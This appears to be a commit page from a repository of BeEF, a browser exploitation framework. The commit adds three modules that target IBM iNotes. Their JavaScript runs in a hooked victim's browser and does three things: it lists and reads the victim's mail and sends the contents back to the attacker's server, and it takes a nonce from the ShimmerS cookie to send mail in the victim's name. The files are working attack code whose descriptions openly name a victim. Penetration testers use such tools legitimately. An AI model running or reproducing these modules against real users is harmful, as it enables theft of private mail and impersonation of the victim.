Hiddenden/beef
2
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Merge pull request #1073 from bmantra/master

Browse Source 
module for IBM iNotes
This commit is contained in:
bmantra
2014-11-21 21:27:22 +01:00
parent 5fafe02781 02a1b5b4a0
commit 029ae3d66d
9 changed files with 289 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files

41
modules/misc/ibm_inotes/extract_inotes_list/command.js Normal file
View File

@@ -0,0 +1,41 @@
//
// Copyright (c) 2006-2014 Wade Alcorn wade@bindshell.net
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
beef.execute(function() {
var startdate = '<%= @startdate %>';
var enddate = '<%= @endddate %>';
var count = '<%= @count %>';
//get URL for this nsf databse
var currentURL = document.URL;
var rx = /(.*\.nsf)/g;
var arr = rx.exec(currentURL);
var notesURL = arr[1];
var xhr = new XMLHttpRequest();
xhr.open('GET', notesURL+'/%28$All%29?ReadViewEntries&KeyType=time&StartKey='+startdate+'T000000Z&UntilKey='+enddate+'T000000Z&Count='+count, true);
xhr.onreadystatechange = function () {
if (xhr.readyState == 4 && xhr.status == 200) {
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result="+xhr.response);
}
}
xhr.send(null);
});

25
modules/misc/ibm_inotes/extract_inotes_list/config.yaml Normal file
View File

@@ -0,0 +1,25 @@
#
# Copyright (c) 2006-2014 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
beef:
module:
extract_inotes_list:
enable: true
category: ["Misc","IBM iNotes"]
name: "Extract iNotes list"
description: "If you have access to the origin of a victims IBM iNotes, you can use this module to extract a list of notes."
authors: ["Bart Leppens"]
target:
working: ['ALL']

29
modules/misc/ibm_inotes/extract_inotes_list/module.rb Normal file
View File

@@ -0,0 +1,29 @@
#
# Copyright (c) 2006-2014 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
class Extract_inotes_list < BeEF::Core::Command
def self.options
return [
{'type' => 'label', 'html' => 'Provide date boundaries to retrieve a list of Notes:' },
{'type' => 'textfield', 'name' => 'startdate', 'ui_label' => 'startdate yyyymmdd', 'value' => '20140101'},
{'type' => 'textfield', 'name' => 'enddate', 'ui_label' => 'enddate yyyymmdd', 'value' => '20500101'},
{'type' => 'textfield', 'name' => 'count', 'ui_label' => 'number of items returned', 'value' => '-1'},
]
end
def post_execute
save({'result' => @datastore['result']})
end
end

39
modules/misc/ibm_inotes/read_inotes/command.js Normal file
View File

@@ -0,0 +1,39 @@
//
// Copyright (c) 2006-2014 Wade Alcorn wade@bindshell.net
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
beef.execute(function() {
var unid = '<%= @unid %>';
//get URL for this nsf databse
var currentURL = document.URL;
var rx = /(.*\.nsf)/g;
var arr = rx.exec(currentURL);
var notesURL = arr[1];
var xhr = new XMLHttpRequest();
xhr.open('GET', notesURL+'/%28$All%29/'+unid+'?OpenDocument&Form=l_MailMessageHeader&PresetFields=FullMessage;1', true);
xhr.onreadystatechange = function () {
if (xhr.readyState == 4 && xhr.status == 200) {
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result="+xhr.response);
}
}
xhr.send(null);
});

25
modules/misc/ibm_inotes/read_inotes/config.yaml Normal file
View File

@@ -0,0 +1,25 @@
#
# Copyright (c) 2006-2014 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
beef:
module:
read_inotes:
enable: true
category: ["Misc","IBM iNotes"]
name: "Read iNotes"
description: "If you have access to the origin of a victims IBM iNotes, you can use this module to read a note."
authors: ["Bart Leppens"]
target:
working: ['ALL']

27
modules/misc/ibm_inotes/read_inotes/module.rb Normal file
View File

@@ -0,0 +1,27 @@
#
# Copyright (c) 2006-2014 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
class Read_inotes < BeEF::Core::Command
def self.options
return [
{'type' => 'label', 'html' => 'Provide unid to retrieve details of a Note:' },
{'type' => 'textfield', 'name' => 'unid', 'ui_label' => 'notes unid', 'value' => '1'}
]
end
def post_execute
save({'result' => @datastore['result']})
end
end

49
modules/misc/ibm_inotes/send_inotes/command.js Normal file
View File

@@ -0,0 +1,49 @@
//
// Copyright (c) 2006-2014 Wade Alcorn wade@bindshell.net
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
beef.execute(function() {
var to = "<%= CGI::escape(@to) %>";
var subject = "<%= CGI::escape(@subject) %>";
var body = "<%= CGI::escape(@body) %>";
//get URL for this nsf databse
var currentURL = document.URL;
var rx = /(.*\.nsf)/g;
var arr = rx.exec(currentURL);
var notesURL = arr[1];
//extract nonce from ShimmerS-cookie
var cookies = document.cookie;
var rxc = /ShimmerS=.*?N:([A-Za-z0-9]*)/g;
var arrc = rxc.exec(cookies);
var nonce = arrc[1];
var xhr = new XMLHttpRequest();
var uri = notesURL + "/($Inbox)/$new/?EditDocument&Form=h_PageUI&PresetFields=h_EditAction;h_ShimmerEdit,s_ViewName;($Inbox),s_NotesForm;Memo&ui=dwa_form";
xhr.open("POST", uri, true);
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
var post_data = "%25%25Nonce="+nonce+"&h_EditAction=h_Next&h_SetReturnURL=%5B%5B.%2F%26Form%3Dl_CallListener%5D%5D&h_SetCommand=h_ShimmerSendMail&h_SetSaveDoc=1&SendTo="+to+"&CopyTo=&BlindCopyTo=&Body="+body+"&MailOptions=1&Form=Memo&s_UsePlainText=0&s_UsePlainTextAndHTML=0&Subject="+subject;
xhr.send(post_data);
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Attempt to send note.');
});

25
modules/misc/ibm_inotes/send_inotes/config.yaml Normal file
View File

@@ -0,0 +1,25 @@
#
# Copyright (c) 2006-2014 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
beef:
module:
send_inotes:
enable: true
category: ["Misc","IBM iNotes"]
name: "Send iNotes"
description: "If you have access to the origin of a victims IBM iNotes, you can use this module to send a note to someone."
authors: ["Bart Leppens"]
target:
working: ['ALL']

29
modules/misc/ibm_inotes/send_inotes/module.rb Normal file
View File

@@ -0,0 +1,29 @@
#
# Copyright (c) 2006-2014 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
class Send_inotes < BeEF::Core::Command
def self.options
return [
{'type' => 'label', 'html' => 'Send a note to someone:' },
{'type' => 'textfield', 'name' => 'to', 'ui_label' => 'TO:', 'value' => ''},
{'type' => 'textfield', 'name' => 'subject', 'ui_label' => 'Subject:', 'value' => ''},
{'name'=>'body', 'ui_label' => 'Body', 'type'=>'textarea', 'value'=>''}
]
end
def post_execute
save({'result' => @datastore['result']})
end
end